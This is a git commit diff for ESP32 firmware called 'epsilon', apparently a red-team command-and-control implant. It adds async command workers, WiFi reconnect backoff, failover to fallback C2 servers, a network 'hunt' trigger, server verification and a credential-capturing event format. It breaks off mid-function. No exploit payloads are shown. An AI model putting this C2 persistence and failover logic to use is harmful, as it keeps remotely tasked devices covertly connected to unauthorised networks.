epsilon: merge command system into core + add 5 new modules

Move command registry from components/command/ into components/core/.
New modules: mod_canbus, mod_honeypot, mod_fallback, mod_redteam, mod_ota.
Replace mod_proxy with tun_core (multiplexed SOCKS5 tunnel).
Kconfig extended with per-module settings and async worker config.
This commit is contained in:
Eun0us 2026-02-28 20:07:59 +01:00
parent d1b89f6fd5
commit 6d45770d98
94 changed files with 13997 additions and 897 deletions

View File

@ -1,7 +0,0 @@
idf_component_register(
SRCS
command.c
command_async.c
INCLUDE_DIRS .
REQUIRES freertos core
)

View File

@ -1,59 +0,0 @@
#pragma once
#include <stdbool.h>
#include <stddef.h>
#include "esp_err.h" // 🔥 OBLIGATOIRE pour esp_err_t
#include "c2.pb.h"
/* ============================================================
* Limits
* ============================================================ */
#define MAX_COMMANDS 32
#define MAX_ASYNC_ARGS 8
#define MAX_ASYNC_ARG_LEN 64
/* ============================================================
* Command handler prototype
* ============================================================ */
typedef esp_err_t (*command_handler_t)(
int argc,
char **argv,
const char *request_id,
void *ctx
);
/* ============================================================
* Command definition
* ============================================================ */
typedef struct {
const char *name; /* command name */
const char *sub; /* subcommand name (optional) */
const char *help; /* help text (optional) */
int min_args;
int max_args;
command_handler_t handler; /* handler */
void *ctx; /* optional context */
bool async; /* async execution */
} command_t;
/* ============================================================
* Registry
* ============================================================ */
void command_register(const command_t *cmd);
void command_log_registry_summary(void);
/* ============================================================
* Dispatcher (called by process.c)
* ============================================================ */
void command_process_pb(const c2_Command *cmd);
/* ============================================================
* Async support
* ============================================================ */
void command_async_init(void);
void command_async_enqueue(
const command_t *cmd,
const c2_Command *pb_cmd
);

View File

@ -1,108 +0,0 @@
#include "command.h"
#include "utils.h"
#include "esp_log.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "freertos/queue.h"
#include <string.h>
static const char *TAG = "CMD_ASYNC";
/* =========================================================
* Async job structure
* ========================================================= */
typedef struct {
const command_t *cmd;
int argc;
char argv[MAX_ASYNC_ARGS][MAX_ASYNC_ARG_LEN];
char *argv_ptrs[MAX_ASYNC_ARGS];
char request_id[64];
} async_job_t;
static QueueHandle_t async_queue;
/* =========================================================
* Worker task
* ========================================================= */
static void async_worker(void *arg)
{
async_job_t job;
while (1) {
if (xQueueReceive(async_queue, &job, portMAX_DELAY)) {
/* Recompute argv_ptrs to point into THIS copy's argv buffers.
* xQueueReceive copies the struct by value, so the old
* pointers (set at enqueue time) are now dangling. */
for (int i = 0; i < job.argc; i++) {
job.argv_ptrs[i] = job.argv[i];
}
ESP_LOGI(TAG, "Async exec: %s", job.cmd->name);
job.cmd->handler(
job.argc,
job.argv_ptrs,
job.request_id[0] ? job.request_id : NULL,
job.cmd->ctx
);
}
}
}
/* =========================================================
* Init async system
* ========================================================= */
void command_async_init(void)
{
async_queue = xQueueCreate(8, sizeof(async_job_t));
if (!async_queue) {
ESP_LOGE(TAG, "Failed to create async queue");
return;
}
xTaskCreate(
async_worker,
"cmd_async",
4096,
NULL,
5,
NULL
);
ESPILON_LOGI_PURPLE(TAG, "Async command system ready");
}
/* =========================================================
* Enqueue async command
* ========================================================= */
void command_async_enqueue(const command_t *cmd,
const c2_Command *pb_cmd)
{
if (!cmd || !pb_cmd) return;
async_job_t job = {0};
job.cmd = cmd;
job.argc = pb_cmd->argv_count;
if (job.argc > MAX_ASYNC_ARGS)
job.argc = MAX_ASYNC_ARGS;
for (int i = 0; i < job.argc; i++) {
strncpy(job.argv[i],
pb_cmd->argv[i],
MAX_ASYNC_ARG_LEN - 1);
job.argv_ptrs[i] = job.argv[i];
}
if (pb_cmd->request_id[0]) {
strncpy(job.request_id,
pb_cmd->request_id,
sizeof(job.request_id) - 1);
}
if (xQueueSend(async_queue, &job, 0) != pdTRUE) {
ESP_LOGE(TAG, "Async queue full");
msg_error("cmd", "Async queue full",
pb_cmd->request_id);
}
}

View File

@ -5,16 +5,21 @@ set(PRIV_REQUIRES_LIST
mod_network
mod_fakeAP
mod_recon
mod_honeypot
mod_fallback
mod_redteam
mod_canbus
esp_timer
driver
command
freertos
)
idf_component_register(
SRCS "crypto.c" "process.c" "WiFi.c" "gprs.c" "messages.c" "com.c"
"command.c" "command_async.c"
"nanoPB/c2.pb.c"
"nanoPB/pb_common.c"
"nanoPB/pb_encode.c"
"nanoPB/pb_common.c"
"nanoPB/pb_encode.c"
"nanoPB/pb_decode.c"
INCLUDE_DIRS "." "nanoPB"

View File

@ -9,6 +9,7 @@
#include "esp_log.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "freertos/timers.h"
#include "esp_wifi.h"
#include "esp_event.h"
#include "esp_netif.h"
@ -17,18 +18,141 @@
#include "pb_decode.h"
#include "freertos/semphr.h"
#include <stdatomic.h>
#include "utils.h"
#ifdef CONFIG_MODULE_FALLBACK
#include "fb_config.h"
#include "fb_hunt.h"
#endif
int sock = -1;
SemaphoreHandle_t sock_mutex = NULL;
/* Fallback hunt flag: when true, WiFi.c skips its own reconnect logic */
atomic_bool fb_active = false;
#ifdef CONFIG_NETWORK_WIFI
static const char *TAG = "CORE_WIFI";
#define RX_BUF_SIZE 4096
#define RECONNECT_DELAY_MS 5000
#define RX_TIMEOUT_S 10
/* =========================================================
* WiFi reconnect with exponential backoff + full restart
* ========================================================= */
#define WIFI_BACKOFF_INIT_MS 1000
#define WIFI_BACKOFF_MAX_MS 30000
#define WIFI_MAX_RETRIES 10 /* full restart after N failures */
static int wifi_retry_count = 0;
static uint32_t wifi_backoff_ms = WIFI_BACKOFF_INIT_MS;
static TimerHandle_t reconnect_timer = NULL;
static void wifi_reconnect_cb(TimerHandle_t t)
{
ESP_LOGI(TAG, "Reconnect attempt %d (backoff %lums)",
wifi_retry_count + 1, (unsigned long)wifi_backoff_ms);
if (wifi_retry_count >= WIFI_MAX_RETRIES) {
ESP_LOGW(TAG, "Max retries reached — full WiFi restart");
esp_wifi_stop();
vTaskDelay(pdMS_TO_TICKS(500));
esp_wifi_start();
esp_wifi_connect();
wifi_retry_count = 0;
wifi_backoff_ms = WIFI_BACKOFF_INIT_MS;
return;
}
esp_wifi_connect();
}
/* =========================================================
* WiFi event handler backoff reconnect on disconnect
* ========================================================= */
static void wifi_event_handler(void *arg, esp_event_base_t event_base,
int32_t event_id, void *event_data)
{
if (event_base == WIFI_EVENT && event_id == WIFI_EVENT_STA_DISCONNECTED) {
wifi_event_sta_disconnected_t *evt =
(wifi_event_sta_disconnected_t *)event_data;
/* If fallback hunt is active, it handles WiFi — skip reconnect */
if (fb_active) {
ESP_LOGI(TAG, "WiFi disconnected (reason=%d, fb_active — skipping reconnect)",
evt->reason);
return;
}
#ifdef CONFIG_MODULE_FAKEAP
/* If FakeAP is active, don't reconnect STA (would interfere with AP mode) */
if (fakeap_active) {
ESP_LOGI(TAG, "WiFi disconnected (reason=%d, fakeAP active — skipping reconnect)",
evt->reason);
return;
}
#endif
ESP_LOGW(TAG, "WiFi disconnected (reason=%d), retry in %lums",
evt->reason, (unsigned long)wifi_backoff_ms);
wifi_retry_count++;
#if defined(CONFIG_FB_AUTO_HUNT) && defined(CONFIG_FB_WIFI_FAIL_THRESHOLD)
if (wifi_retry_count >= CONFIG_FB_WIFI_FAIL_THRESHOLD && !fb_active) {
ESP_LOGW(TAG, "WiFi failures >= %d — triggering fallback hunt",
CONFIG_FB_WIFI_FAIL_THRESHOLD);
extern void fb_hunt_trigger(void);
fb_hunt_trigger();
return;
}
#endif
/* Schedule reconnect with backoff */
if (reconnect_timer) {
xTimerChangePeriod(reconnect_timer,
pdMS_TO_TICKS(wifi_backoff_ms),
0);
xTimerStart(reconnect_timer, 0);
}
/* Exponential backoff: 1s → 2s → 4s → ... → 30s */
wifi_backoff_ms *= 2;
if (wifi_backoff_ms > WIFI_BACKOFF_MAX_MS)
wifi_backoff_ms = WIFI_BACKOFF_MAX_MS;
}
if (event_base == IP_EVENT && event_id == IP_EVENT_STA_GOT_IP) {
ip_event_got_ip_t *evt = (ip_event_got_ip_t *)event_data;
ESP_LOGI(TAG, "Got IP: " IPSTR, IP2STR(&evt->ip_info.ip));
/* Reset backoff on successful connection */
wifi_retry_count = 0;
wifi_backoff_ms = WIFI_BACKOFF_INIT_MS;
if (reconnect_timer)
xTimerStop(reconnect_timer, 0);
}
}
/* =========================================================
* Pause/resume reconnect (used by Red Team hunt module)
* ========================================================= */
void wifi_pause_reconnect(void)
{
if (reconnect_timer)
xTimerStop(reconnect_timer, 0);
ESP_LOGI(TAG, "WiFi reconnect paused");
}
void wifi_resume_reconnect(void)
{
wifi_retry_count = 0;
wifi_backoff_ms = WIFI_BACKOFF_INIT_MS;
ESP_LOGI(TAG, "WiFi reconnect resumed (backoff reset)");
}
/* =========================================================
* WiFi init
@ -43,6 +167,16 @@ void wifi_init(void)
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
ESP_ERROR_CHECK(esp_wifi_init(&cfg));
/* Reconnect timer (one-shot, started on disconnect) */
reconnect_timer = xTimerCreate("wifi_reconn", pdMS_TO_TICKS(1000),
pdFALSE, NULL, wifi_reconnect_cb);
/* Register event handlers */
ESP_ERROR_CHECK(esp_event_handler_register(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED,
&wifi_event_handler, NULL));
ESP_ERROR_CHECK(esp_event_handler_register(IP_EVENT, IP_EVENT_STA_GOT_IP,
&wifi_event_handler, NULL));
wifi_config_t wifi_config = {
.sta = {
.ssid = CONFIG_WIFI_SSID,
@ -83,6 +217,10 @@ static bool tcp_connect(void)
return false;
}
/* Recv timeout: prevents blocking forever if C2 dies without FIN */
struct timeval tv = { .tv_sec = RX_TIMEOUT_S, .tv_usec = 0 };
lwip_setsockopt(new_sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
xSemaphoreTake(sock_mutex, portMAX_DELAY);
sock = new_sock;
xSemaphoreGive(sock_mutex);
@ -94,6 +232,71 @@ static bool tcp_connect(void)
}
/* =========================================================
* Server identity verification (challenge-response AEAD)
*
* Sends HELLO:device_id, server responds with AEAD-encrypted
* challenge. If we can decrypt it (tag OK), the server has
* the correct key and is authentic.
* ========================================================= */
#ifdef CONFIG_C2_VERIFY_SERVER
static bool server_verify(void)
{
/* 1) Send HELLO:device_id\n */
char hello[128];
snprintf(hello, sizeof(hello), "HELLO:%s\n", CONFIG_DEVICE_ID);
xSemaphoreTake(sock_mutex, portMAX_DELAY);
int s = sock;
xSemaphoreGive(sock_mutex);
if (lwip_write(s, hello, strlen(hello)) <= 0) {
ESP_LOGE(TAG, "server_verify: failed to send HELLO");
return false;
}
/* 2) Read server challenge (recv timeout already set to 10s) */
uint8_t rx_buf[256];
int len = lwip_recv(s, rx_buf, sizeof(rx_buf) - 1, 0);
if (len <= 0) {
ESP_LOGE(TAG, "server_verify: no challenge received");
return false;
}
rx_buf[len] = '\0';
/* Strip trailing newline/CR */
while (len > 0 && (rx_buf[len - 1] == '\n' || rx_buf[len - 1] == '\r'))
rx_buf[--len] = '\0';
if (len == 0) {
ESP_LOGE(TAG, "server_verify: empty challenge");
return false;
}
/* 3) Base64 decode */
size_t decoded_len = 0;
char *decoded = base64_decode((char *)rx_buf, &decoded_len);
if (!decoded || decoded_len < 28) { /* nonce(12) + tag(16) minimum */
ESP_LOGE(TAG, "server_verify: base64 decode failed");
free(decoded);
return false;
}
/* 4) Decrypt — AEAD tag verification proves server identity */
uint8_t plain[256];
int plain_len = crypto_decrypt((uint8_t *)decoded, decoded_len,
plain, sizeof(plain));
free(decoded);
if (plain_len < 0) {
ESP_LOGE(TAG, "server_verify: AEAD verification FAILED");
return false;
}
return true;
}
#endif /* CONFIG_C2_VERIFY_SERVER */
/* =========================================================
* Handle incoming frame
* ========================================================= */
@ -111,8 +314,9 @@ static void handle_frame(const uint8_t *buf, size_t len)
/* =========================================================
* TCP RX loop
* Returns: true = still connected, false = disconnected
* ========================================================= */
static void tcp_rx_loop(void)
static bool tcp_rx_loop(void)
{
static uint8_t rx_buf[RX_BUF_SIZE];
@ -120,28 +324,103 @@ static void tcp_rx_loop(void)
int current_sock = sock;
xSemaphoreGive(sock_mutex);
if (current_sock < 0) return;
if (current_sock < 0) return false;
int len = lwip_recv(current_sock, rx_buf, sizeof(rx_buf) - 1, 0);
if (len <= 0) {
ESP_LOGW(TAG, "RX failed / disconnected");
if (len < 0) {
/* Timeout is normal (EAGAIN/EWOULDBLOCK) — not a disconnect */
if (errno == EAGAIN || errno == EWOULDBLOCK) {
return true;
}
ESP_LOGW(TAG, "RX error: errno=%d", errno);
xSemaphoreTake(sock_mutex, portMAX_DELAY);
lwip_close(sock);
sock = -1;
xSemaphoreGive(sock_mutex);
return;
return false;
}
if (len == 0) {
ESP_LOGW(TAG, "RX: peer closed connection");
xSemaphoreTake(sock_mutex, portMAX_DELAY);
lwip_close(sock);
sock = -1;
xSemaphoreGive(sock_mutex);
return false;
}
/* IMPORTANT: string termination for strtok */
rx_buf[len] = '\0';
char *line = strtok((char *)rx_buf, "\n");
char *saveptr = NULL;
char *line = strtok_r((char *)rx_buf, "\n", &saveptr);
while (line) {
handle_frame((uint8_t *)line, strlen(line));
line = strtok(NULL, "\n");
line = strtok_r(NULL, "\n", &saveptr);
}
return true;
}
/* =========================================================
* C2 failover: try NVS fallback addresses on same network
* ========================================================= */
#ifdef CONFIG_FB_AUTO_HUNT
static bool try_fallback_c2s(void)
{
fb_c2_addr_t addrs[CONFIG_FB_MAX_C2_FALLBACKS];
int count = fb_config_c2_list(addrs, CONFIG_FB_MAX_C2_FALLBACKS);
for (int i = 0; i < count; i++) {
char ip_buf[48];
int port = CONFIG_SERVER_PORT;
strncpy(ip_buf, addrs[i].addr, sizeof(ip_buf) - 1);
ip_buf[sizeof(ip_buf) - 1] = '\0';
/* Parse "ip:port" format */
char *colon = strrchr(ip_buf, ':');
if (colon) {
*colon = '\0';
port = atoi(colon + 1);
if (port <= 0 || port > 65535) port = CONFIG_SERVER_PORT;
}
ESP_LOGI(TAG, "Trying C2 fallback: %s:%d", ip_buf, port);
/* Close current socket */
xSemaphoreTake(sock_mutex, portMAX_DELAY);
if (sock >= 0) { lwip_close(sock); sock = -1; }
xSemaphoreGive(sock_mutex);
/* Try connect to fallback C2 */
struct sockaddr_in server_addr = {0};
int new_sock = lwip_socket(AF_INET, SOCK_STREAM, 0);
if (new_sock < 0) continue;
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(port);
server_addr.sin_addr.s_addr = inet_addr(ip_buf);
if (lwip_connect(new_sock, (struct sockaddr *)&server_addr,
sizeof(server_addr)) != 0) {
lwip_close(new_sock);
continue;
}
struct timeval tv = { .tv_sec = RX_TIMEOUT_S, .tv_usec = 0 };
lwip_setsockopt(new_sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
xSemaphoreTake(sock_mutex, portMAX_DELAY);
sock = new_sock;
xSemaphoreGive(sock_mutex);
ESP_LOGI(TAG, "C2 fallback %s:%d connected", ip_buf, port);
return true;
}
return false;
}
#endif /* CONFIG_FB_AUTO_HUNT */
/* =========================================================
* Main TCP client task
* ========================================================= */
@ -150,17 +429,64 @@ void tcp_client_task(void *pvParameters)
if (!sock_mutex)
sock_mutex = xSemaphoreCreateMutex();
#ifdef CONFIG_FB_AUTO_HUNT
int tcp_fail_count = 0;
#endif
while (1) {
/* If fallback hunt is active, wait for it to finish */
while (fb_active) {
vTaskDelay(pdMS_TO_TICKS(1000));
}
if (!tcp_connect()) {
#ifdef CONFIG_FB_AUTO_HUNT
tcp_fail_count++;
ESP_LOGW(TAG, "TCP connect failed (%d/%d)",
tcp_fail_count, CONFIG_FB_TCP_FAIL_THRESHOLD);
if (tcp_fail_count >= CONFIG_FB_TCP_FAIL_THRESHOLD && !fb_active) {
/* Level 1: C2 failover on same network */
if (try_fallback_c2s()) {
tcp_fail_count = 0;
goto handshake;
}
/* Level 2: full network hunt */
ESP_LOGW(TAG, "All C2 unreachable — triggering fallback hunt");
fb_hunt_trigger();
tcp_fail_count = 0;
continue;
}
#endif
vTaskDelay(pdMS_TO_TICKS(RECONNECT_DELAY_MS));
continue;
}
#ifdef CONFIG_FB_AUTO_HUNT
tcp_fail_count = 0;
#endif
#ifdef CONFIG_C2_VERIFY_SERVER
if (!server_verify()) {
ESP_LOGE(TAG, "Server verification FAILED - possible MITM");
xSemaphoreTake(sock_mutex, portMAX_DELAY);
lwip_close(sock);
sock = -1;
xSemaphoreGive(sock_mutex);
vTaskDelay(pdMS_TO_TICKS(RECONNECT_DELAY_MS));
continue;
}
ESPILON_LOGI_PURPLE(TAG, "Server identity verified (AEAD challenge OK)");
#endif
#ifdef CONFIG_FB_AUTO_HUNT
handshake:
#endif
msg_info(TAG, CONFIG_DEVICE_ID, NULL);
ESP_LOGI(TAG, "Handshake done");
while (sock >= 0) {
tcp_rx_loop();
if (!tcp_rx_loop()) break;
vTaskDelay(1);
}

View File

@ -1,4 +1,3 @@
#include "command.h"
#include "utils.h"
#include "esp_log.h"
@ -63,12 +62,20 @@ void command_log_registry_summary(void)
for (size_t i = 0; i < registry_count; i++) {
const char *name = registry[i] && registry[i]->name
? registry[i]->name : "?";
const char *sub = (registry[i] && registry[i]->sub && registry[i]->sub[0])
? registry[i]->sub : NULL;
const char *sep = (i == 0) ? "" : ", ";
int n = snprintf(buf + off, sizeof(buf) - (size_t)off,
int n;
if (sub) {
n = snprintf(buf + off, sizeof(buf) - (size_t)off,
"%s%s %s", sep, name, sub);
} else {
n = snprintf(buf + off, sizeof(buf) - (size_t)off,
"%s%s", sep, name);
}
if (n < 0 || n >= (int)(sizeof(buf) - (size_t)off)) {
if (off < (int)sizeof(buf) - 4) {
strcpy(buf + (sizeof(buf) - 4), "...");
memcpy(buf + (sizeof(buf) - 4), "...", 4);
}
break;
}
@ -158,43 +165,58 @@ void command_process_pb(const c2_Command *cmd)
if (strcmp(c->name, name) != 0)
continue;
if (argc < c->min_args || argc > c->max_args) {
/*
* Sub-command matching: if the command has a .sub field,
* argv[0] must match it. The sub is consumed (argv shifted
* by 1) before passing to the handler.
*/
int sub_offset = 0;
if (c->sub && c->sub[0]) {
if (argc < 1 || strcmp(cmd->argv[0], c->sub) != 0)
continue; /* not this sub-command, try next */
sub_offset = 1;
}
int effective_argc = argc - sub_offset;
if (effective_argc < c->min_args || effective_argc > c->max_args) {
msg_error("cmd", "Invalid argument count", reqid_or_null);
return;
}
ESP_LOGI(TAG, "Execute: %s (argc=%d)", name, argc);
if (c->sub && c->sub[0]) {
ESP_LOGI(TAG, "Execute: %s %s (argc=%d)", name, c->sub, effective_argc);
} else {
ESP_LOGI(TAG, "Execute: %s (argc=%d)", name, effective_argc);
}
if (c->async) {
/* Ton async copie déjà argv/request_id dans une queue => OK */
command_async_enqueue(c, cmd);
command_async_enqueue(c, cmd, sub_offset);
return;
}
/* ================================
* SYNC PATH (FIX):
* Ne PAS caster cmd->argv en char**
* On construit argv_ptrs[] depuis cmd->argv[i]
* SYNC PATH:
* Build argv_ptrs[] from cmd->argv, skipping sub_offset
* ================================ */
if (argc > COMMAND_MAX_ARGS) {
if (effective_argc > COMMAND_MAX_ARGS) {
msg_error("cmd", "Too many args", reqid_or_null);
return;
}
char *argv_ptrs[COMMAND_MAX_ARGS] = {0};
for (int a = 0; a < argc; a++) {
/* Fonctionne que cmd->argv soit char*[N] ou char[N][M] */
argv_ptrs[a] = (char *)cmd->argv[a];
for (int a = 0; a < effective_argc; a++) {
argv_ptrs[a] = (char *)cmd->argv[a + sub_offset];
}
/* Deep-copy pour rendre sync aussi safe que async */
char **argv_copy = NULL;
char *arena = NULL;
if (!deepcopy_argv(argv_ptrs, argc, &argv_copy, &arena, reqid_or_null))
if (!deepcopy_argv(argv_ptrs, effective_argc, &argv_copy, &arena, reqid_or_null))
return;
c->handler(argc, argv_copy, reqid_or_null, c->ctx);
c->handler(effective_argc, argv_copy, reqid_or_null, c->ctx);
free(argv_copy);
free(arena);

View File

@ -0,0 +1,204 @@
#include "utils.h"
#include "esp_log.h"
#include "esp_timer.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "freertos/queue.h"
#include <string.h>
#include <stdio.h>
static const char *TAG = "CMD_ASYNC";
/* =========================================================
* Configuration
* ========================================================= */
#ifndef CONFIG_ASYNC_WORKER_COUNT
#define CONFIG_ASYNC_WORKER_COUNT 2
#endif
#ifndef CONFIG_ASYNC_QUEUE_DEPTH
#define CONFIG_ASYNC_QUEUE_DEPTH 8
#endif
#define ASYNC_WORKER_STACK 4096
#define WATCHDOG_INTERVAL_MS 5000
#define WATCHDOG_TIMEOUT_US (60 * 1000000LL) /* 60s */
/* =========================================================
* Async job structure
* ========================================================= */
typedef struct {
const command_t *cmd;
int argc;
char argv[MAX_ASYNC_ARGS][MAX_ASYNC_ARG_LEN];
char *argv_ptrs[MAX_ASYNC_ARGS];
char request_id[64];
} async_job_t;
/* =========================================================
* Per-worker state (watchdog tracking)
* ========================================================= */
typedef struct {
volatile int64_t start_us; /* 0 = idle */
volatile bool alerted; /* already reported to C2 */
const char *cmd_name; /* current command name */
char request_id[64];
} worker_state_t;
static QueueHandle_t async_queue;
static worker_state_t worker_states[CONFIG_ASYNC_WORKER_COUNT];
/* =========================================================
* Watchdog task monitors workers for stuck commands
* ========================================================= */
static void watchdog_task(void *arg)
{
while (1) {
vTaskDelay(pdMS_TO_TICKS(WATCHDOG_INTERVAL_MS));
int64_t now = esp_timer_get_time();
for (int i = 0; i < CONFIG_ASYNC_WORKER_COUNT; i++) {
worker_state_t *ws = &worker_states[i];
if (ws->start_us == 0 || ws->alerted)
continue;
int64_t elapsed = now - ws->start_us;
if (elapsed > WATCHDOG_TIMEOUT_US) {
int secs = (int)(elapsed / 1000000LL);
char buf[128];
snprintf(buf, sizeof(buf),
"Worker %d stuck: '%s' running for %ds",
i, ws->cmd_name ? ws->cmd_name : "?", secs);
ESP_LOGW(TAG, "%s", buf);
msg_error("cmd_async", buf,
ws->request_id[0] ? ws->request_id : NULL);
ws->alerted = true;
}
}
}
}
/* =========================================================
* Worker task (multiple instances share the same queue)
* ========================================================= */
static void async_worker(void *arg)
{
int worker_id = (int)(intptr_t)arg;
worker_state_t *ws = &worker_states[worker_id];
async_job_t job;
while (1) {
if (xQueueReceive(async_queue, &job, portMAX_DELAY)) {
/* Recompute argv_ptrs to point into THIS copy's argv buffers.
* xQueueReceive copies the struct by value, so the old
* pointers (set at enqueue time) are now dangling. */
for (int i = 0; i < job.argc; i++) {
job.argv_ptrs[i] = job.argv[i];
}
/* Mark worker as busy for watchdog */
ws->cmd_name = job.cmd->name;
strncpy(ws->request_id, job.request_id, sizeof(ws->request_id) - 1);
ws->alerted = false;
ws->start_us = esp_timer_get_time();
ESP_LOGI(TAG, "Worker %d exec: %s", worker_id, job.cmd->name);
job.cmd->handler(
job.argc,
job.argv_ptrs,
job.request_id[0] ? job.request_id : NULL,
job.cmd->ctx
);
/* Mark worker as idle */
ws->start_us = 0;
}
}
}
/* =========================================================
* Init async system
* ========================================================= */
void command_async_init(void)
{
memset(worker_states, 0, sizeof(worker_states));
async_queue = xQueueCreate(CONFIG_ASYNC_QUEUE_DEPTH, sizeof(async_job_t));
if (!async_queue) {
ESP_LOGE(TAG, "Failed to create async queue");
return;
}
for (int i = 0; i < CONFIG_ASYNC_WORKER_COUNT; i++) {
char name[16];
snprintf(name, sizeof(name), "cmd_async_%d", i);
BaseType_t ret = xTaskCreatePinnedToCore(
async_worker,
name,
ASYNC_WORKER_STACK,
(void *)(intptr_t)i,
5,
NULL,
1 /* Core 1 */
);
if (ret != pdPASS) {
ESP_LOGE(TAG, "Failed to create worker %d", i);
}
}
/* Watchdog: low priority, small stack, Core 0 */
xTaskCreatePinnedToCore(watchdog_task, "cmd_wdog", 2048,
NULL, 2, NULL, 0);
ESPILON_LOGI_PURPLE(TAG, "Async command system ready (%d workers, watchdog on)",
CONFIG_ASYNC_WORKER_COUNT);
}
/* =========================================================
* Enqueue async command
* ========================================================= */
void command_async_enqueue(const command_t *cmd,
const c2_Command *pb_cmd,
int argv_offset)
{
if (!cmd || !pb_cmd) return;
async_job_t job = {0};
job.cmd = cmd;
job.argc = pb_cmd->argv_count - argv_offset;
if (job.argc > MAX_ASYNC_ARGS)
job.argc = MAX_ASYNC_ARGS;
if (job.argc < 0)
job.argc = 0;
for (int i = 0; i < job.argc; i++) {
strncpy(job.argv[i],
pb_cmd->argv[i + argv_offset],
MAX_ASYNC_ARG_LEN - 1);
job.argv[i][MAX_ASYNC_ARG_LEN - 1] = '\0';
job.argv_ptrs[i] = job.argv[i];
}
if (pb_cmd->request_id[0]) {
strncpy(job.request_id,
pb_cmd->request_id,
sizeof(job.request_id) - 1);
job.request_id[sizeof(job.request_id) - 1] = '\0';
}
if (xQueueSend(async_queue, &job, 0) != pdTRUE) {
char buf[128];
snprintf(buf, sizeof(buf), "Async queue full, dropped '%s'",
cmd->name);
ESP_LOGE(TAG, "%s", buf);
msg_error("cmd_async", buf, pb_cmd->request_id);
}
}

View File

@ -18,7 +18,6 @@
#include "c2.pb.h"
#include "utils.h"
#include "command.h"
static const char *TAG = "CRYPTO";
@ -289,7 +288,7 @@ bool c2_decode_and_exec(const char *frame)
/* Trim CR/LF/spaces at end (SIM800 sometimes adds \r) */
char tmp[1024];
size_t n = strnlen(frame, sizeof(tmp) - 1);
size_t n = strnlen(frame, sizeof(tmp) - 2);
memcpy(tmp, frame, n);
tmp[n] = '\0';
while (n > 0 && (tmp[n - 1] == '\r' || tmp[n - 1] == '\n' || tmp[n - 1] == ' ')) {

View File

@ -0,0 +1,48 @@
/*
* event_format.h
* Generic wire format for security events (honeypot, fakeAP, etc.).
*
* Wire format: EVT|<type>|<severity>|<mac>|<ip>:<sport>><dport>|<detail>
* Parsed by HpStore.parse_and_store() on the C2 side.
*/
#pragma once
#include <stdio.h>
#include <string.h>
#include "utils.h"
/**
* Send a security event to the C2 via msg_data().
*
* @param event_type e.g. "SVC_AUTH_ATTEMPT", "WIFI_PROBE", "PORT_SCAN"
* @param severity "LOW", "MEDIUM", "HIGH", "CRITICAL"
* @param src_mac "aa:bb:cc:dd:ee:ff" or "00:00:00:00:00:00"
* @param src_ip Source IP address
* @param src_port Source port (0 if unknown)
* @param dst_port Destination port
* @param detail Free-form detail, e.g. "user='admin' pass='1234'"
* @param request_id NULL or request_id for response routing
* @return true on success, false on truncation or send failure
*/
static inline bool event_send(
const char *event_type,
const char *severity,
const char *src_mac,
const char *src_ip,
int src_port,
int dst_port,
const char *detail,
const char *request_id
) {
char buf[256];
int len = snprintf(buf, sizeof(buf),
"EVT|%s|%s|%s|%s:%d>%d|%s",
event_type, severity, src_mac,
src_ip, src_port, dst_port,
detail ? detail : "");
if (len <= 0 || len >= (int)sizeof(buf))
return false;
return msg_data("EVT", buf, (size_t)len, true, request_id);
}

View File

@ -11,10 +11,9 @@
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "utils.h" /* CONFIG_*, base64, crypto */
#include "command.h" /* process_command */
#include "utils.h" /* CONFIG_*, base64, crypto, command */
#ifdef CONFIG_NETWORK_GPRS
#if defined(CONFIG_NETWORK_GPRS) || defined(CONFIG_FB_GPRS_FALLBACK)
static const char *TAG = "GPRS";
@ -158,22 +157,19 @@ bool connect_gprs(void)
* TCP
* ============================================================ */
bool connect_tcp(void)
bool connect_tcp_to(const char *ip, int port)
{
char buf[BUFF_SIZE];
char cmd[128];
ESP_LOGI(TAG, "TCP connect %s:%d",
CONFIG_SERVER_IP,
CONFIG_SERVER_PORT);
ESP_LOGI(TAG, "TCP connect %s:%d", ip, port);
send_at_command("AT+CIPMUX=0");
at_wait_ok(buf, sizeof(buf), 2000);
snprintf(cmd, sizeof(cmd),
"AT+CIPSTART=\"TCP\",\"%s\",\"%d\"",
CONFIG_SERVER_IP,
CONFIG_SERVER_PORT);
ip, port);
send_at_command(cmd);
if (!at_read(buf, sizeof(buf), 15000))
@ -188,6 +184,11 @@ bool connect_tcp(void)
return false;
}
bool connect_tcp(void)
{
return connect_tcp_to(CONFIG_SERVER_IP, CONFIG_SERVER_PORT);
}
/* ============================================================
* RX HELPERS
* ============================================================ */
@ -230,10 +231,8 @@ void gprs_rx_poll(void)
rx_len += r;
rx_buf[rx_len] = '\0';
ESP_LOGW(TAG, "RAW UART RX (%d bytes buffered)", rx_len);
ESP_LOGW(TAG, "----------------------------");
ESP_LOGW(TAG, "%s", rx_buf);
ESP_LOGW(TAG, "----------------------------");
ESP_LOGD(TAG, "RAW UART RX (%d bytes buffered)", rx_len);
ESP_LOGD(TAG, "%s", rx_buf);
/* nettoyer CR/LF */
for (size_t i = 0; i < rx_len; i++) {
@ -284,33 +283,6 @@ bool gprs_send(const void *buf, size_t len)
return true;
}
/* ============================================================
* CLIENT TASK
* ============================================================ */
void gprs_client_task(void *pvParameters)
{
ESP_LOGI(TAG, "GPRS client task started");
while (1) {
if (!connect_gprs() || !connect_tcp()) {
ESP_LOGE(TAG, "Connection failed, retrying...");
vTaskDelay(pdMS_TO_TICKS(5000));
continue;
}
/* Handshake identique WiFi */
msg_info(TAG, CONFIG_DEVICE_ID, NULL);
ESP_LOGI(TAG, "Handshake sent");
while (1) {
gprs_rx_poll();
vTaskDelay(pdMS_TO_TICKS(10));
}
}
}
/* ============================================================
* CLOSE
* ============================================================ */
@ -322,4 +294,125 @@ void close_tcp_connection(void)
send_at_command("AT+CIPSHUT");
}
/* ============================================================
* CLIENT TASK (GPRS primary mode only)
* ============================================================ */
#ifdef CONFIG_NETWORK_GPRS
#ifdef CONFIG_MODULE_FALLBACK
#include "fb_config.h"
#include "fb_hunt.h"
extern atomic_bool fb_active;
/* Try NVS C2 fallback addresses over GPRS */
static bool try_gprs_fallback_c2s(void)
{
